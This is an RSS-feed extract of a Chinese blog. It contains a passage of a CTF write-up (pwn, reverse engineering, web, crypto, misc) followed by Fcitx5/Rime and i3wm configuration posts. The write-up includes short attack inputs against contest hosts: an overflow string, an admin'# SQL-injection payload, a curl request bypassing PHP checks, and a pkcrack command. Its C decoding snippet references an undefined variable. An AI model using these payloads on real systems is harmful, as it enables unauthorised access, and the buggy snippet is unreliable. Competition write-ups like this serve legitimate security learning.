&lt;p&gt;事后发现基本上随便乱输入就可以得到 flag&lt;/p&gt;
&lt;p&gt;毕竟是 pwn 题&lt;/p&gt;
&lt;h3&gt;5 坤坤のrap&lt;/h3&gt;
&lt;p&gt;放到 IDA，读入量比字符串定义的多&lt;/p&gt;
&lt;p&gt;直接多放点就过去了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ nc 47.94.239.235 4004
请开始你的表演:
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
ncongrats, here is the flag
flag{stack_0verflow_is_annoying!!}
tql!!!
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6 坤坤の舞&lt;/h3&gt;
&lt;p&gt;和上面的题目一样，都有溢出的漏洞&lt;/p&gt;
&lt;p&gt;执行 &lt;code&gt;get_flag()&lt;/code&gt; 函数应该会输出 Flag&lt;/p&gt;
&lt;p&gt;那 pwntool 直接草就行了&lt;/p&gt;
&lt;p&gt;扩展阅读： &lt;a href=&quot;https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/stackoverflow-basic-zh/&quot;&gt;栈溢出原理 - CTF Wiki&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;7 坤坤の绝地反击&lt;/h3&gt;
&lt;p&gt;和上面一样，还是溢出，但是这次要带个参&lt;/p&gt;
&lt;p&gt;然后我直接按普通堆做&lt;/p&gt;
&lt;p&gt;全然没有注意开了 NX 保护…&lt;/p&gt;
&lt;p&gt;后来给了个 Hint&lt;/p&gt;
&lt;p&gt;那就是大力 ROP 搞就行了&lt;/p&gt;
&lt;p&gt;扩展阅读： &lt;a href=&quot;https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/&quot;&gt;基本 ROP - CTF Wiki&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;2 RE&lt;/h2&gt;
&lt;h3&gt;1 basicre1&lt;/h3&gt;
&lt;p&gt;逐位 Xor 加密，直接解&lt;/p&gt;
&lt;h3&gt;2 basicre2&lt;/h3&gt;
&lt;p&gt;代码就是对着 char 瞎jb位移&lt;/p&gt;
&lt;p&gt;然后倒推一下，输出，没了&lt;/p&gt;
&lt;p&gt;当时写了个 cpp 还原的，找不到了，不过本来就是签到题，不管了&lt;/p&gt;
&lt;h3&gt;3 basicre3&lt;/h3&gt;
&lt;p&gt;代码注释里表明这是个算法&lt;/p&gt;
&lt;p&gt;目测 TEA 及其变种&lt;/p&gt;
&lt;p&gt;网上找个解密的，没了&lt;/p&gt;
&lt;h3&gt;4 babyre&lt;/h3&gt;
&lt;p&gt;IDA 后基本上可以发现这是个 RC4 加密算法&lt;/p&gt;
&lt;p&gt;然而我赛后才发现&lt;/p&gt;
&lt;p&gt;想个办法把里面东西倒出来&lt;/p&gt;
&lt;p&gt;发现程序调用了 memcmp，LD_PRELOAD 可以套到目标密文&lt;/p&gt;
&lt;p&gt;RC4 具有自反性，在把目标密文放进去，得到明文，也就是 Flag&lt;/p&gt;
&lt;h3&gt;5 hundred&lt;/h3&gt;
&lt;p&gt;赛后 mcfx 爷提醒是个数组，还是个巨大线性方程组&lt;/p&gt;
&lt;p&gt;我拿 IDA 打开，然后得到了一大堆 &lt;code&gt;if&lt;/code&gt; 包裹的条件判断&lt;/p&gt;
&lt;p&gt;Vim 随便处理一下就可以变成 z3 的 solve 函数的参数&lt;/p&gt;
&lt;p&gt;然后放到 z3 里跑就行了&lt;/p&gt;
&lt;p&gt;如果直接用 &lt;code&gt;.model()&lt;/code&gt; 输出会输出不全，手动 &lt;code&gt;.model().eval()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;脚本太大了，这里是链接：&lt;a href=&quot;https://blog.woshiluo.com/wp-content/uploads/2020/05/libac_re5.zip&quot;&gt;https://blog.woshiluo.com/wp-content/uploads/2020/05/libac_re5.zip&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我怎么写的这么多行？&lt;/p&gt;
&lt;p&gt;Vim 宏真好用&lt;/p&gt;
&lt;h2&gt;3 WEB&lt;/h2&gt;
&lt;p&gt;这次的 WEB 题相比较别的真的好欢乐…&lt;/p&gt;
&lt;h3&gt;1 F12&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;curl -v&lt;/code&gt; 或者直接 F12 看 Header&lt;/p&gt;
&lt;h3&gt;2 i18n&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;extract&lt;/code&gt; 会覆盖变量，考虑覆盖 &lt;code&gt;language_file&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;没了&lt;/p&gt;
&lt;h3&gt;3 ezsql&lt;/h3&gt;
&lt;p&gt;签到题，payload 是 &lt;code&gt;admin&apos;#&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;4 ezsql again&lt;/h3&gt;
&lt;p&gt;查看页面原码，得到 login.php.bak&lt;/p&gt;
&lt;p&gt;发现 SQL 注入可能性基本为 0&lt;/p&gt;
&lt;p&gt;我们可以使 &lt;code&gt;$dbpass&lt;/code&gt; 为 &lt;code&gt;null&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;发现进来的 &lt;code&gt;$password&lt;/code&gt; 没有验证，不传就行了&lt;/p&gt;
&lt;h3&gt;5 where is flag?&lt;/h3&gt;
&lt;p&gt;题目给了任意读，但是扬了 flag&lt;/p&gt;
&lt;p&gt;可惜 file 被 open 了，我们可以在 procfs 里找到&lt;/p&gt;
&lt;p&gt;但是我们并不知道 pid&lt;/p&gt;
&lt;p&gt;所以用一个科技 &lt;code&gt;/proc/self&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;没了&lt;/p&gt;
&lt;h3&gt;6 ez_bypass&lt;/h3&gt;
&lt;p&gt;感觉这个比上一道简单&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;php md5 碰撞&lt;/li&gt;
&lt;li&gt;php == 符号不需要相等&lt;/li&gt;
&lt;li&gt;json_decode 后面会覆盖前面的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;构造一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl http://47.93.34.105:8081/\?s\=QNKCDZO\&amp;amp;t\=240610708 -d &apos;pw=20200501&quot;, &quot;password&quot;: &quot;shouhukunkun&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没了&lt;/p&gt;
&lt;h3&gt;7 是什么蒙蔽了你的双眼&lt;/h3&gt;
&lt;p&gt;我确实菜&lt;/p&gt;
&lt;p&gt;对着题目给的参数 &lt;code&gt;base64 -d&lt;/code&gt; 三次，得到 &lt;code&gt;flag.jpg&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;猜测参数就是查询套三次 base64&lt;/p&gt;
&lt;p&gt;然后试图获取 &lt;code&gt;index.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;发现替换了非字母且非&lt;code&gt;.&lt;/code&gt;为空
替换 &lt;code&gt;config&lt;/code&gt; 为 &lt;code&gt;!&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;扫描 &lt;code&gt;.index.php.swp&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;提示看 &lt;code&gt;f1lllaggg!lilac.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后代码审计 &lt;code&gt;f1lllaggg!lilac.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;要么 &lt;code&gt;extract&lt;/code&gt; 魔改 t，要么直接传空 &lt;code&gt;t&lt;/code&gt; 可以过非严格判断&lt;/p&gt;
&lt;p&gt;所以那个链接是干什么的，迷惑&lt;/p&gt;
&lt;h2&gt;4 CRYPTO&lt;/h2&gt;
&lt;p&gt;这次的比赛激起了我对 Crypto 的兴趣&lt;/p&gt;
&lt;p&gt;前五题都是工具题目，没啥说的&lt;/p&gt;
&lt;p&gt;合理运用 CyberChef 和 Wikipedia 即可&lt;/p&gt;
&lt;h3&gt;6 单表替换&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://quipqiup.com/&quot;&gt;https://quipqiup.com/&lt;/a&gt; 爆破即可&lt;/p&gt;
&lt;h3&gt;7 CH₃COOH&lt;/h3&gt;
&lt;p&gt;题目说是原题，直接拖 Google&lt;/p&gt;
&lt;p&gt;实际上是 Vigenère 密码，和醋酸的英文名几乎一样&lt;/p&gt;
&lt;p&gt;然后找个工具爆破就没了&lt;/p&gt;
&lt;h3&gt;8 三天之内&lt;/h3&gt;
&lt;p&gt;查看源码，发现使用 Unix 时间戳做密码&lt;/p&gt;
&lt;p&gt;Unix 时间戳就那么多，写个爆破就行了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Cipher import AES
#from secret import flag
import time
from hashlib import md5
import base64

time = int(time.time())
while 1:
    time = time - 1
    key = md5(str(time).encode()).digest()
    aes = AES.new(key, AES.MODE_ECB)
    flag = base64.b64decode( &apos;THM3FOB7PxOgVoI1fGsqQDJLGu41mL9nKCNeMvXzB+l8MFirir0C19YRS/ruDILq&apos;)
    outData = aes.decrypt(flag)
    print(outData)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跑个 30s，在输出里搜索一下 flag 就行了&lt;/p&gt;
&lt;h3&gt;9 神必 base64&lt;/h3&gt;
&lt;p&gt;基本上就是 b64 变种&lt;/p&gt;
&lt;p&gt;映射一下就行了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

char mp[1000];

int main() {
    FILE* qwq = fopen( &quot;qwq&quot;, &quot;r&quot; );
    FILE* cip = fopen( &quot;cipher.txt&quot;, &quot;r&quot; );
    char s1, s2;
    while( fscanf( qwq, &quot;%c&quot;, &amp;amp;s1 ) !=EOF &amp;amp;&amp;amp; fscanf( cip, &quot;%c&quot;, &amp;amp;s2 ) ) {
        if( map[s1] != 0 )
            continue;
        mp[s1] = s2;
    }
    for( char a = &apos;A&apos;; a &amp;lt;= &apos;Z&apos;; a ++ ) {
        if( mp[a] == 0 )
            printf( &quot;0&quot; );
        printf( &quot;%c&quot;, mp[a] );
    }
    for( char a = &apos;a&apos;; a &amp;lt;= &apos;z&apos;; a ++ ) {
        if( mp[a] == 0 )
            printf( &quot;0&quot; );
        printf( &quot;%c&quot;, mp[a] );
    }
    for( char a = &apos;0&apos;; a &amp;lt;= &apos;9&apos;; a ++ ) {
        if( mp[a] == 0 )
            printf( &quot;0&quot; );
        printf( &quot;%c&quot;, mp[a] );
    }
    printf( &quot;%c&quot;, mp[&apos;+&apos;] );
    printf( &quot;%c&quot;, mp[&apos;/&apos;] );
    printf( &quot;%c&quot;, mp[&apos;=&apos;] );

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;10 RSA - 0&lt;/h3&gt;
&lt;p&gt;RSA 原理题&lt;/p&gt;
&lt;p&gt;直接解就行了&lt;/p&gt;
&lt;h3&gt;11 RSA - 1&lt;/h3&gt;
&lt;p&gt;n 变成三个质数相乘了，但是不影响我们解密&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import binascii
import gmpy

p = 252647779892687905173761792949656998433
q = 290615416181922737045361451171930371659
r = 281613259213037257262703439109757908501
n = p * q * r
e = 0x10001
# rased = pow(flag, e, n)
rsaed = 1169612223485519024207841670191078798101684935551461601922416127588930439758194701318838707953651437973827125265577

phi = ( p - 1 ) * ( q - 1 ) * ( r - 1 )
inv = gmpy.invert( e, phi )

print(inv)
print(hex(pow( rsaed, inv, n )))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;小插曲，我本来手写的 exgcd 求逆元，结果写错了，最后因为不会 py 而选择了 gmpy&lt;/p&gt;
&lt;h2&gt;5 MISC&lt;/h2&gt;
&lt;h3&gt;1 打工是不可能打工的&lt;/h3&gt;
&lt;p&gt;题目关于劳动法和基本法的什么东西就先略过了&lt;/p&gt;
&lt;p&gt;大家都知道是怎么回事（&lt;/p&gt;
&lt;p&gt;然后，&lt;code&gt;StegSolve&lt;/code&gt; 直接 &lt;code&gt;Frame&lt;/code&gt; 逐个看就行了&lt;/p&gt;
&lt;h3&gt;2 zip-0&lt;/h3&gt;
&lt;p&gt;题目说的是 9 位数字密码&lt;/p&gt;
&lt;p&gt;这，不就是爆破&lt;/p&gt;
&lt;p&gt;虽然事后发现 7zip 可以直接打开，惊了&lt;/p&gt;
&lt;p&gt;据说是非预期的错误，笑了&lt;/p&gt;
&lt;h3&gt;3 zip-1&lt;/h3&gt;
&lt;p&gt;题目说了 010Editor&lt;/p&gt;
&lt;p&gt;那就没什么说的了&lt;/p&gt;
&lt;h3&gt;4 樱花&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;strings&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;没了&lt;/p&gt;
&lt;h3&gt;5 隐写&lt;/h3&gt;
&lt;p&gt;仔细看，Red plane 0 左上角一段白&lt;/p&gt;
&lt;p&gt;就选择 Red plane 0 通道，LSB 一下，就知道 Flag 了&lt;/p&gt;
&lt;h3&gt;6 真正的互联网&lt;/h3&gt;
&lt;p&gt;访问链接即可&lt;/p&gt;
&lt;h3&gt;7 zip-2&lt;/h3&gt;
&lt;p&gt;明文破解&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pkcrack -c &quot;lilac.png&quot; -p lilac.png -C ./zip-2.zip -P ./lilac-logo.zip -d qwq.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没了&lt;/p&gt;
&lt;h3&gt;8 Yankee with no brim&lt;/h3&gt;
&lt;p&gt;binwalk 草出来里面的 png&lt;/p&gt;
&lt;p&gt;发现 png 的 CRC 有问题&lt;/p&gt;
&lt;p&gt;改个 Height，没了&lt;/p&gt;
&lt;h3&gt;9 大司马与千层饼&lt;/h3&gt;
&lt;p&gt;我先建议出题人司马&lt;/p&gt;
&lt;p&gt;直接 OD 会有一句 &lt;code&gt;You see the string,but it is not so easy...but it&apos;s baby!&lt;/code&gt; 来嘲讽你&lt;/p&gt;
&lt;p&gt;总之 binwalk 套出里面的 7z，解压出来是个 gif，string 里面的 Flag 是 Fake&lt;/p&gt;
&lt;p&gt;gif 逐帧草出来两个残缺二维码，补全，扫一下，结果还是 Fake&lt;/p&gt;
&lt;p&gt;赛后有 Hint 告诉我们&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「你在第二层,你以为他在第五层,实际上他在第一层」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;你妈的，直接对 EXE Resource Hacker 得到一个凯撒密码&lt;/p&gt;
&lt;p&gt;解出来是个网址，访问是个残缺二维码&lt;/p&gt;
&lt;p&gt;补上定位点，扫就得到 Flag&lt;/p&gt;
&lt;h2&gt;6 Basic&lt;/h2&gt;
&lt;p&gt;没啥说的，签到&lt;/p&gt;
&lt;h2&gt;7 结&lt;/h2&gt;
&lt;p&gt;总之是一场相当快乐的比赛&lt;/p&gt;
&lt;p&gt;几乎除了 Web 所有东西都是现学的，这大概就是在线比赛的乐趣吧，没有所谓记忆造成的堡垒&lt;/p&gt;
&lt;p&gt;感谢举办方，给了我学习的机会&lt;/p&gt;
&lt;p&gt;最后，跟我一起喊，mcfx 天下第一！&lt;/p&gt;
</content:encoded><category>linux</category><category>share</category><author>woshiluo</author></item><item><title>Fcitx5 &amp; Rime 配置小记</title><link>https://blog.woshiluo.com/posts/2020/04/fcitx5-rime-%E9%85%8D%E7%BD%AE%E5%B0%8F%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/04/fcitx5-rime-%E9%85%8D%E7%BD%AE%E5%B0%8F%E8%AE%B0/</guid><pubDate>Thu, 30 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2020/05/%E8%BE%93%E5%85%A5%E4%BD%93%E9%AA%8C.png&quot; alt=&quot;输入过程截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;Fcitx5 输入截图&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;h2&gt;0 Rime 是什么&lt;/h2&gt;
&lt;p&gt;在很多情况下，如果你直接带着 &lt;code&gt;Linux 输入法&lt;/code&gt; 这样的关键字去 Google 搜索&lt;/p&gt;
&lt;p&gt;那么你得到的通常都是 Google Pinyin，或者 Sogou Pinyin&lt;/p&gt;
&lt;p&gt;Google Pinyin 年久失修，Sogou 的话，维护也不算多上心&lt;/p&gt;
&lt;p&gt;如果你再认真一点，你也许可以找到 Sunpinyin 和 Libpinyin&lt;/p&gt;
&lt;p&gt;这两个的体验已经相当不错了，但你也会发现，在准确率上，还是差了点，而且在词库大的时候，还会很卡&lt;/p&gt;
&lt;p&gt;这个时候，你就会查到 Rime —— 中州韵输入法引擎&lt;/p&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;聪明的输入法懂我心意&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这是 Rime 自己的标语&lt;/p&gt;
&lt;p&gt;Rime 具有更强大的&lt;em&gt;定制性&lt;/em&gt;，更优秀的&lt;em&gt;词语联想&lt;/em&gt;，以及&lt;em&gt;跨平台&lt;/em&gt;的支持&lt;/p&gt;
&lt;p&gt;如果你不相信 Sogou（相信我，&lt;strong&gt;没几个人&lt;/strong&gt;相信 Sogou &lt;strong&gt;不会&lt;/strong&gt;上传你的数据），那么 Rime 是目前最优秀的选择&lt;/p&gt;
&lt;h3&gt;0.1 环境 &amp;amp; 我的需求&lt;/h3&gt;
&lt;p&gt;Arch Linux&lt;/p&gt;
&lt;p&gt;小鹤双拼用户&lt;/p&gt;
&lt;h2&gt;1 Rime 的安装&lt;/h2&gt;
&lt;p&gt;对于 Arch Linux，我们首先需要选择一个&lt;strong&gt;输入平台&lt;/strong&gt;，我选择的是 Fcitx5&lt;/p&gt;
&lt;p&gt;关于 Fcitx5，你可以查阅 &lt;a href=&quot;https://wiki.archlinux.org/index.php/Fcitx5&quot;&gt;Fcitx5 - ArchWiki&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;（虽然这个东西在 Waylnd 下的功能还很残缺，但是，Wayland 本身问题也不少）&lt;/p&gt;
&lt;p&gt;关于 Rime，Arch Wiki 有 &lt;a href=&quot;https://wiki.archlinux.org/index.php/Rime_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)&quot;&gt;这个页面&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个页面简单的介绍了 Rime 的安装方式与使用方式，不过并没有关于 Fcitx5 的介绍&lt;/p&gt;
&lt;p&gt;所以我来简单的记录一下&lt;/p&gt;
&lt;h3&gt;1.1 Fcitx5 的安装&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;pacman -S fcitx5 fcitx5-qt fcitx5-gtk
pacman -S fcitx5-chinese-addons fcitx-rime
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时，&lt;strong&gt;Fcitx5&lt;/strong&gt; 的配置文件在 &lt;code&gt;~/.config/fcitx5&lt;/code&gt; 下&lt;/p&gt;
&lt;h3&gt;1.2 Rime 的安装&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;pacman -S librime
pacman -S rime-double-pinyin #需要双拼的话，安装这个
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时，&lt;strong&gt;Rime&lt;/strong&gt; 的配置文件在 &lt;code&gt;~/.local/share/fcitx5/rime&lt;/code&gt; 下&lt;/p&gt;
&lt;h3&gt;1.3 Fcitx5 的配置&lt;/h3&gt;
&lt;p&gt;你可以选择使用 &lt;code&gt;kcm-fcitx5&lt;/code&gt; 来通过 GUI 进行配置&lt;/p&gt;
&lt;p&gt;不过本篇文章，我选择自己动手&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意：Fcitx5 在关闭的时候，会覆盖配置文件，所以请确保 Fcitx5 关闭后，再修改配置文件&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat ~/.config/fcitx5/profile
[Groups/0]
# Group Name
Name=Default
# Layout
Default Layout=us
# Default Input Method
DefaultIM=rime

[Groups/0/Items/0]
# Name
Name=keyboard-us
# Layout
Layout=

[Groups/0/Items/1]
# Name
Name=rime
# Layout
Layout=

[GroupOrder]
0=Default
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这份配置文件给 Fcitx5 设置了两个输入法，一个是 US 键盘，一个是 Rime&lt;/p&gt;
&lt;p&gt;然后，和其他输入平台一样，我们需要配置环境变量&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat ~/.xprofile
export GTK_IM_MODULE=fcitx5
export XMODIFIERS=@im=fcitx5
export QT_IM_MODULE=fcitx5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个是使用 Xorg 时才有效的&lt;/p&gt;
&lt;p&gt;关于使用 Wayland 时的环境变量设置，请查阅 &lt;a href=&quot;https://wiki.archlinux.org/index.php/Environment_variables_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)&quot;&gt;Environment variables (简体中文) - Arch Wiki&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后将 Fcitx5 加入自启动后，重启即可&lt;/p&gt;
&lt;h2&gt;2 Rime 的配置&lt;/h2&gt;
&lt;h3&gt;2.0 安利时间&lt;/h3&gt;
&lt;p&gt;Github 上有许多优秀的 rime 的配置文件&lt;/p&gt;
&lt;p&gt;通常情况下，你只需要将整个项目 clone 到本地，便可以直接使用&lt;/p&gt;
&lt;p&gt;这里推荐 &lt;a href=&quot;https://github.com/wongdean/rime-settings&quot;&gt;wongdean/rime-settings&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;以及，这也是一个不错 Rime 配置 &lt;a href=&quot;https://sh.alynx.one/posts/My-RIME/&quot;&gt;https://sh.alynx.one/posts/My-RIME/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下面，就是我的折腾环节&lt;/p&gt;
&lt;h3&gt;2.1 极光拼音&lt;/h3&gt;
&lt;p&gt;明月拼音不是不香&lt;/p&gt;
&lt;p&gt;就是每次在打词库里没有的词组的时候，经常会出现一堆繁体好几页，我还找不到自己想要的&lt;/p&gt;
&lt;p&gt;这个问题显然是简体繁体之间转换除了什么奇怪的问题，不过，这个问题显然不好解决&lt;/p&gt;
&lt;p&gt;既然解决不了，不如搞一个基于简体的输入方案&lt;/p&gt;
&lt;p&gt;显然，不止我一个这么想&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/hosxy/rime-aurora-pinyin&quot;&gt;hosxy/rime-aurora-pinyin&lt;/a&gt; 就是这样一种输入方案，码表全部为简体中文，并且几乎只有 「通用规范汉字表」 中的汉字&lt;/p&gt;
&lt;p&gt;然后你兴冲冲的下载了，开始用了，发现有一个问题&lt;/p&gt;
&lt;p&gt;这个输入方案，没有词组……&lt;/p&gt;
&lt;h3&gt;2.2 寻找词库&lt;/h3&gt;
&lt;p&gt;通常情况下， &lt;a href=&quot;https://pinyin.sogou.com/dict/&quot;&gt;Sogou 词库&lt;/a&gt; 里能找到我们需要的词库&lt;/p&gt;
&lt;p&gt;但是这次不一样，这个输入方案里一点词库都没有&lt;/p&gt;
&lt;p&gt;所以即使从 Sogou 词库里鼓捣几个下来，输入体验也不是很好&lt;/p&gt;
&lt;p&gt;这个时候，我们需要一份中文常用词汇表&lt;/p&gt;
&lt;p&gt;我找到了这个 &lt;a href=&quot;https://gist.github.com/indiejoseph/eae09c673460aa0b56db&quot;&gt;indiejoseph/现代汉语常用词表.txt&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;简单处理一下（Vim 都可以处理），就可以用做 Rime 的词库了&lt;/p&gt;
&lt;p&gt;再来试试，不错&lt;/p&gt;
&lt;h3&gt;2.3 Sogou 词库的导入&lt;/h3&gt;
&lt;p&gt;这个倒是有比较优秀的方案了 &lt;a href=&quot;https://github.com/studyzy/imewlconverter&quot;&gt;studyzy/imewlconverter&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;虽然 AUR 里有这个包，但是我并没有成功安装，反正 Releases 里也有 bin，直接用吧&lt;/p&gt;
&lt;h2&gt;3 结&lt;/h2&gt;
&lt;p&gt;本篇文章使用 Fcitx5 + Rime 在 Terminator + Vim 的环境下写的&lt;/p&gt;
&lt;p&gt;在写这篇文章时，体验还是很好的，九成词语都在第一或者第二候选，不在的词语虽然需要自己去选，但并不复杂&lt;/p&gt;
&lt;p&gt;本文所有配置文件都可以在 &lt;a href=&quot;https://github.com/woshiluo/woshiluo-config&quot;&gt;woshiluo/woshiluo-config&lt;/a&gt; 里找到&lt;/p&gt;
&lt;p&gt;这次在写文章的时候主要参考是各个项目的 Readme 和 Wiki，以及 Arch Wiki，就不一一列出来了&lt;/p&gt;
&lt;p&gt;这篇文章只是基于自己的配置经历所写，如果在任何地方有错误，希望你能通过评论指出&lt;/p&gt;
&lt;p&gt;最后，安利 &lt;a href=&quot;https://github.com/hosxy/Fcitx5-Material-Color&quot;&gt;hosxy/fcitx5-material-color&lt;/a&gt; 主题，上面的截图就是这个主题，非常好看&lt;/p&gt;
</content:encoded><category>linux</category><category>share</category><author>woshiluo</author></item><item><title>i3wm 从初识到真香</title><link>https://blog.woshiluo.com/posts/2020/04/i3wm-%E4%BB%8E%E5%88%9D%E8%AF%86%E5%88%B0%E7%9C%9F%E9%A6%99/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/04/i3wm-%E4%BB%8E%E5%88%9D%E8%AF%86%E5%88%B0%E7%9C%9F%E9%A6%99/</guid><pubDate>Tue, 14 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本篇文章是一个配置案例，而并非入门指南&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;0 怎么认识的 i3wm&lt;/h2&gt;
&lt;p&gt;我一开始用 Linux 是 DDE 玩家（Deepin 对萌新及其友好），后来改用 Debian ，就开始当 Gnome 人了&lt;/p&gt;
&lt;p&gt;Gnome 作为一个几乎开箱即用的桌面环境还是很不错的。后来也试用过 KDE，被复杂的控制劝退了，于是就一直用 Gnome&lt;/p&gt;
&lt;p&gt;后来听机房的 c0per 学长说过 i3，不过在他 laptop 上的 i3wm 真的好简洁简陋，大概是一名高三生实在是没有时间，所以我也就没有在意过这个东西。&lt;/p&gt;
&lt;p&gt;前两天又双遇到了 Gnome 的一堆 Bug，大概是每逢 Gnome 版本更新都有的，于是在 LK 的大力安利下入坑了&lt;/p&gt;
&lt;h2&gt;1 什么是 i3wm&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;「i3 是一种动态的平铺式窗口管理器」&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/index.php/I3_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)&quot;&gt;ArchWiki - I3_(简体中文)&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;反正我是没有看懂这个简介，不过让我们顺着查一下&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「平铺式（或直译瓦片式）窗口管理器，其中的窗口不能够重叠，而是像瓦片一样挨个摆放。这种窗口管理器一般比较依赖键盘操作，较少使用鼠标。此类窗口管理器一般也是高度可定制的。」&lt;/p&gt;
&lt;p&gt;[ArchWiki - Window_manager_(简体中文)](https://wiki.archlinux.org/index.php/Window_manager_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;简单来讲，i3wm 作为一个&lt;strong&gt;窗口管理器&lt;/strong&gt;，默认会将你的窗口像瓦片一样放置于屏幕上，但你也可以令其变成浮动窗口&lt;/p&gt;
&lt;p&gt;i3wm 和 Gnome 最大的区别，是一个是 DE，一个是 WM，前者对后者实际上是包含关系&lt;/p&gt;
&lt;p&gt;不过我在更换 i3wm 后并没有继续使用 gdm，而是使用了 &lt;a href=&quot;https://wiki.archlinux.org/index.php/LightDM&quot;&gt;LightDM&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;i3wm 有 i3bar，用于显示系统的信息等&lt;/p&gt;
&lt;h2&gt;2 配置&lt;/h2&gt;
&lt;p&gt;相比较 Gnome 的一套环境，i3wm 只是一个 WM，很多功能都要自己配置&lt;/p&gt;
&lt;p&gt;所以在这里列了一些我使用 i3wm 的配置&lt;/p&gt;
&lt;h3&gt;2.1 快捷键&lt;/h3&gt;
&lt;p&gt;i3wm 有一个好，配置文件里几乎能改一切&lt;/p&gt;
&lt;p&gt;i3wm 的快捷键都在 &lt;code&gt;~/.config/i3/config&lt;/code&gt; 写的很清楚&lt;/p&gt;
&lt;p&gt;我个人并没有对快捷键做什么修改&lt;/p&gt;
&lt;h3&gt;2.2 i3status&lt;/h3&gt;
&lt;p&gt;i3status 作为 i3bar 的一部分，可以用于显示系统状态之类的&lt;/p&gt;
&lt;p&gt;我在调 &lt;code&gt;i3status&lt;/code&gt; 调了一阵后发现 —— 这东西太简洁了，想调好看很费事&lt;/p&gt;
&lt;p&gt;于是我选择了 &lt;a href=&quot;https://github.com/greshake/i3status-rust&quot;&gt;&lt;code&gt;greshake/i3status-rust&lt;/code&gt;&lt;/a&gt; 作为了替代&lt;/p&gt;
&lt;p&gt;并在 i3status 中调用了一言，有那么两句中二的话刺激一下自己也挺好的&lt;/p&gt;
